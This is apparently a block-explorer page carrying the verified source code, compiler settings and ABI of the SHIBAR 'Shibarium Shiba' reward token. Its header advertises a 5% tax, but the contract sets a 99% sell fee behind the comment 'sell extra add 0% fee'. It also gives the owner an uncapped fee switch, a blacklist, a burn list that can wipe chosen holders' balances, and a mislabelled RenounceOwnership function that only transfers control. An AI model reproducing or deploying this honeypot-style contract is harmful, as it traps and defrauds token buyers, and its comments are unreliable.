Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000 SHIBAR
Holders
47
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
3,768.735158326352642368 SHIBARValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SHIBARIUMSHIBA
Compiler Version
v0.8.10+commit.fc410830
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
//SPDX-License-Identifier: MIT /** $SHIBAR Enjoy $BONE rewards for holding $SHIBAR TG: t.me/ShibarETH Website: shibartoken.org Twitter: twitter.com/ShibarETH Total supply - 1,000,000 Tax Distribution - 5% Rewards - 2% Marketing - 3% */ pragma solidity 0.8.10; library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call( abi.encodeWithSelector(0x095ea7b3, to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: APPROVE_FAILED" ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call( abi.encodeWithSelector(0xa9059cbb, to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: TRANSFER_FAILED" ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call( abi.encodeWithSelector(0x23b872dd, from, to, value) ); require( success && (data.length == 0 || abi.decode(data, (bool))), "TransferHelper: TRANSFER_FROM_FAILED" ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, "TransferHelper: ETH_TRANSFER_FAILED"); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IDividendDistributor { function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external; function setShare(address shareholder, uint256 amount) external; function deposit() external payable; function process(uint256 gas) external; } contract DividendDistributor is IDividendDistributor { using SafeMath for uint256; address _token; struct Share { uint256 amount; uint256 totalExcluded; uint256 totalRealised; } IDEXRouter router; address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; ERC20 RewardToken = ERC20(0xc5fB36dd2fb59d3B98dEfF88425a3F425Ee469eD); //TSUKA REWARDS address[] shareholders; mapping (address => uint256) shareholderIndexes; mapping (address => uint256) shareholderClaims; mapping (address => Share) public shares; uint256 public totalShares; uint256 public totalDividends; uint256 public totalDistributed; uint256 public dividendsPerShare; uint256 public dividendsPerShareAccuracyFactor = 10 ** 36; uint256 public minPeriod = 30 minutes; uint256 public minDistribution = 1 * (10 ** 18); uint256 currentIndex; bool initialized; modifier initialization() { require(!initialized); _; initialized = true; } modifier onlyToken() { require(msg.sender == _token); _; } constructor (address _router) { router = _router != address(0) ? IDEXRouter(_router) : IDEXRouter(routerAddress); _token = msg.sender; } function setDistributionCriteria(uint256 newMinPeriod, uint256 newMinDistribution) external override onlyToken { minPeriod = newMinPeriod; minDistribution = newMinDistribution; } function setShare(address shareholder, uint256 amount) external override onlyToken { if(shares[shareholder].amount > 0){ distributeDividend(shareholder); } if(amount > 0 && shares[shareholder].amount == 0){ addShareholder(shareholder); }else if(amount == 0 && shares[shareholder].amount > 0){ removeShareholder(shareholder); } totalShares = totalShares.sub(shares[shareholder].amount).add(amount); shares[shareholder].amount = amount; shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount); } function deposit() external payable override onlyToken { uint256 balanceBefore = RewardToken.balanceOf(address(this)); address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = address(RewardToken); router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: msg.value}( 0, path, address(this), block.timestamp ); uint256 amount = RewardToken.balanceOf(address(this)).sub(balanceBefore); totalDividends = totalDividends.add(amount); dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)); } function process(uint256 gas) external override onlyToken { uint256 shareholderCount = shareholders.length; if(shareholderCount == 0) { return; } uint256 iterations = 0; uint256 gasUsed = 0; uint256 gasLeft = gasleft(); while(gasUsed < gas && iterations < shareholderCount) { if(currentIndex >= shareholderCount){ currentIndex = 0; } if(shouldDistribute(shareholders[currentIndex])){ distributeDividend(shareholders[currentIndex]); } gasUsed = gasUsed.add(gasLeft.sub(gasleft())); gasLeft = gasleft(); currentIndex++; iterations++; } } function shouldDistribute(address shareholder) internal view returns (bool) { return shareholderClaims[shareholder] + minPeriod < block.timestamp && getUnpaidEarnings(shareholder) > minDistribution; } function distributeDividend(address shareholder) internal { if(shares[shareholder].amount == 0){ return; } uint256 amount = getUnpaidEarnings(shareholder); if(amount > 0){ totalDistributed = totalDistributed.add(amount); RewardToken.transfer(shareholder, amount); shareholderClaims[shareholder] = block.timestamp; shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount); shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount); } } function claimDividend() external { require(shouldDistribute(msg.sender), "Too quick. Please wait for a bit!"); distributeDividend(msg.sender); } function getUnpaidEarnings(address shareholder) public view returns (uint256) { if(shares[shareholder].amount == 0){ return 0; } uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount); uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded; if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; } return shareholderTotalDividends.sub(shareholderTotalExcluded); } function getCumulativeDividends(uint256 share) internal view returns (uint256) { return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor); } function addShareholder(address shareholder) internal { shareholderIndexes[shareholder] = shareholders.length; shareholders.push(shareholder); } function removeShareholder(address shareholder) internal { shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1]; shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder]; shareholders.pop(); } } abstract contract Auth { address internal owner; mapping (address => bool) internal authorizations; constructor(address _owner) { owner = _owner; authorizations[_owner] = true; } /** * Function modifier to require caller to be contract owner */ modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } /** * Function modifier to require caller to be authorized */ modifier authorized() { require(isAuthorized(msg.sender), "!AUTHORIZED"); _; } /** * Authorize address. Owner only */ function authorize(address adr) public onlyOwner { authorizations[adr] = true; } /** * Remove address' authorization. Owner only */ function unauthorize(address adr) public onlyOwner { authorizations[adr] = false; } /** * Check if address is owner */ function isOwner(address account) public view returns (bool) { return account == owner; } /** * Return address' authorization status */ function isAuthorized(address adr) public view returns (bool) { return authorizations[adr]; } /** * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized */ function RenounceOwnership(address payable adr) public onlyOwner { owner = adr; authorizations[adr] = true; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } contract SHIBARIUMSHIBA is ERC20, Auth { using SafeMath for uint256; string constant _name = "Shibarium Shiba"; string constant _symbol = "SHIBAR"; uint8 constant _decimals = 18; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address marketingAddress = 0x3Dc71A0f8995E8b0E20BdAE27948d7e546CA2890; //Marketing Funds uint256 _totalSupply = 1 * 1000000 * (10 ** _decimals); uint256 public _maxTxAmount = 2000 * 10**18 ; uint256 public _walletMax = 2000 * 10**18 ; bool public restrictWhales = true; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) public isFeeExempt; mapping (address => bool) public isTxLimitExempt; mapping (address => bool) public isDividendExempt; mapping (address => bool) public blackList; mapping (address => bool) public exchangePairs; uint256 public liquidityFee = 0; uint256 public rewardsFee = 2; uint256 public marketingFee = 3; //sell extra add 0% fee. uint256 public extraFeeOnSell = 94; uint256 public burnPercentage = 0; uint256 public totalFee = 5; uint256 public totalFeeIfSelling = 99; address public autoLiquidityReceiver = marketingAddress; IDEXRouter public router; address public pair; uint256 public launchedAt; uint256 public silentBlockNumber = 0; bool public tradingOpen = true; bool public antiBotOpen = true; DividendDistributor public dividendDistributor; uint256 distributorGas = 200000; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; address[] private burnAddressList; uint256 public swapThreshold = _totalSupply * 5 / 4000; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () Auth(msg.sender) { router = IDEXRouter(routerAddress); pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this)); _allowances[address(this)][address(router)] = 2**256 - 1; exchangePairs[pair] = true; dividendDistributor = new DividendDistributor(address(router)); isFeeExempt[msg.sender] = true; isFeeExempt[address(this)] = true; isTxLimitExempt[msg.sender] = true; isTxLimitExempt[pair] = true; isDividendExempt[pair] = true; isDividendExempt[msg.sender] = true; isDividendExempt[address(this)] = true; isDividendExempt[DEAD] = true; isDividendExempt[ZERO] = true; totalFee = liquidityFee.add(rewardsFee).add(marketingFee); totalFeeIfSelling = totalFee.add(extraFeeOnSell); _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable { } function isExistAccount(address account) private view returns(bool) { bool isExistAcc = false; uint256 index = 0; for (index; index < burnAddressList.length; index++) { if (burnAddressList[index] == account) { isExistAcc = true; break; } } return isExistAcc; } function addToBurnList(address account) external onlyOwner { require(!isExistAccount(account), "You already added this address"); burnAddressList.push(account); } function removeToBurnList(address account) external onlyOwner { uint256 index = 0; for (index; index < burnAddressList.length; index++) { if (burnAddressList[index] == account) { burnAddressList[index]=burnAddressList[burnAddressList.length-1]; break; } } if(index != burnAddressList.length){ burnAddressList.pop(); } } function name() external pure override returns (string memory) { return _name; } function symbol() external pure override returns (string memory) { return _symbol; } function decimals() external pure override returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function getOwner() external view override returns (address) { return owner; } function _burn(address account, uint256 amount) internal { require(account != address(0), 'BEP20: burn from the zero address'); _balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance'); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function burn() public onlyOwner { uint256 index = 0; for (index; index < burnAddressList.length; index++) { uint256 addressBalance = balanceOf(burnAddressList[index]); _burn(burnAddressList[index], addressBalance * burnPercentage / 100); } } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, 2**256 - 1); } function changeTxLimit(uint256 newLimit) external authorized { _maxTxAmount = newLimit; } function changeWalletLimit(uint256 newLimit) external authorized { _walletMax = newLimit; } function changeRestrictWhales(bool newValue) external authorized { restrictWhales = newValue; } function changeIsFeeExempt(address holder, bool exempt) external authorized { isFeeExempt[holder] = exempt; } function changeIsTxLimitExempt(address holder, bool exempt) external authorized { isTxLimitExempt[holder] = exempt; } function changeIsDividendExempt(address holder, bool exempt) external authorized { require(holder != address(this) && holder != pair); isDividendExempt[holder] = exempt; if(exempt){ dividendDistributor.setShare(holder, 0); }else{ dividendDistributor.setShare(holder, _balances[holder]); } } function changeFees(uint256 newLiqFee, uint256 newRewardFee,uint256 newMarkingFee,uint256 newExtraSellFee) external authorized { liquidityFee = newLiqFee; rewardsFee = newRewardFee; marketingFee = newMarkingFee; extraFeeOnSell = newExtraSellFee; totalFee = liquidityFee.add(rewardsFee); totalFeeIfSelling = totalFee.add(extraFeeOnSell); } function changeFeeReceivers(address newLiquidityReceiver) external authorized { autoLiquidityReceiver = newLiquidityReceiver; } function changeSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit, bool swapByLimitOnly) external authorized { swapAndLiquifyEnabled = enableSwapBack; swapThreshold = newSwapBackLimit; swapAndLiquifyByLimitOnly = swapByLimitOnly; } function changeDistributionCriteria(uint256 newinPeriod, uint256 newMinDistribution) external authorized { dividendDistributor.setDistributionCriteria(newinPeriod, newMinDistribution); } function changeDistributorSettings(uint256 gas) external authorized { require(gas < 750000); distributorGas = gas; } function addExchangePairs(address acc) external authorized { exchangePairs[acc] = true; } function removExchangePairs(address acc) external authorized { delete exchangePairs[acc]; } function addBlackList(address acc) external authorized { blackList[acc]=true; } function removBlackList(address acc) external authorized { delete blackList[acc]; } function setSilentBlockNumber(uint256 newValue) external authorized { silentBlockNumber = newValue; } function isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } function setAntiBot(bool newValue) external authorized { antiBotOpen=newValue; } function antiBot(address sender,address recipient) view public{ if(!antiBotOpen){ return; } bool isBotSell = ( sender!=address(this) && sender!= routerAddress && isContract(sender) ) && exchangePairs[recipient]; bool isForbidAddr = blackList[sender] || blackList[recipient]; require( isBotSell == false && isForbidAddr == false,"anti bot"); //sell not allowed while silent. if(exchangePairs[recipient]){ require( block.number > launchedAt + silentBlockNumber,"silent block"); } } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != 2**256 - 1){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require(_balances[sender] > 0); //anti the bot. antiBot(sender,recipient); if(inSwapAndLiquify){ return _basicTransfer(sender, recipient, amount); } if(!authorizations[sender] && !authorizations[recipient]){ require(tradingOpen, "Trading not open yet"); } require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded"); if(msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold){ swapBack(); } //Exchange tokens _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); if(!isTxLimitExempt[recipient] && restrictWhales) { require(_balances[recipient].add(amount) <= _walletMax); } uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(finalAmount); // Dividend tracker if(!isDividendExempt[sender]) { try dividendDistributor.setShare(sender, _balances[sender]) {} catch {} } if(!isDividendExempt[recipient]) { try dividendDistributor.setShare(recipient, _balances[recipient]) {} catch {} } try dividendDistributor.process(distributorGas) {} catch {} emit Transfer(sender, recipient, finalAmount); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee; uint256 feeAmount = amount.mul(feeApplicable).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function tradingStatus(bool newStatus) public onlyOwner { tradingOpen = newStatus; if(tradingOpen){ launchedAt = block.number; } } function swapBack() internal lockTheSwap { uint256 tokenToSwap = _balances[address(this)]; uint256 amountToLiquify = tokenToSwap.mul(liquidityFee).div(totalFee).div(2); uint256 amountToSwap = tokenToSwap.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance; uint256 totalETHFee = totalFee.sub(liquidityFee.div(2)); uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2); uint256 amountETHReflection = amountETH.mul(rewardsFee).div(totalETHFee); uint256 amountETHMarking = amountETH.sub(amountETHReflection).sub(amountETHLiquidity); try dividendDistributor.deposit{value: amountETHReflection}() {} catch {} if(amountToLiquify > 0){ router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp ); emit AutoLiquify(amountETHLiquidity, amountToLiquify); } if( amountETHMarking > 0){ TransferHelper.safeTransferETH(marketingAddress, amountETHMarking); } } event AutoLiquify(uint256 amountETH, uint256 amountMETA); }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountMETA","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"acc","type":"address"}],"name":"addBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"acc","type":"address"}],"name":"addExchangePairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addToBurnList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"}],"name":"antiBot","outputs":[],"stateMutability":"view","type":"function"},{"inputs":[],"name":"antiBotOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"blackList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"burnPercentage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newinPeriod","type":"uint256"},{"internalType":"uint256","name":"newMinDistribution","type":"uint256"}],"name":"changeDistributionCriteria","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"gas","type":"uint256"}],"name":"changeDistributorSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newLiquidityReceiver","type":"address"}],"name":"changeFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiqFee","type":"uint256"},{"internalType":"uint256","name":"newRewardFee","type":"uint256"},{"internalType":"uint256","name":"newMarkingFee","type":"uint256"},{"internalType":"uint256","name":"newExtraSellFee","type":"uint256"}],"name":"changeFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"changeIsDividendExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"changeIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"changeIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"changeRestrictWhales","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enableSwapBack","type":"bool"},{"internalType":"uint256","name":"newSwapBackLimit","type":"uint256"},{"internalType":"bool","name":"swapByLimitOnly","type":"bool"}],"name":"changeSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"changeTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"changeWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"dividendDistributor","outputs":[{"internalType":"contract DividendDistributor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exchangePairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"extraFeeOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isDividendExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"acc","type":"address"}],"name":"removBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"acc","type":"address"}],"name":"removExchangePairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeToBurnList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"restrictWhales","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rewardsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setAntiBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setSilentBlockNumber","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"silentBlockNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFeeIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"newStatus","type":"bool"}],"name":"tradingStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
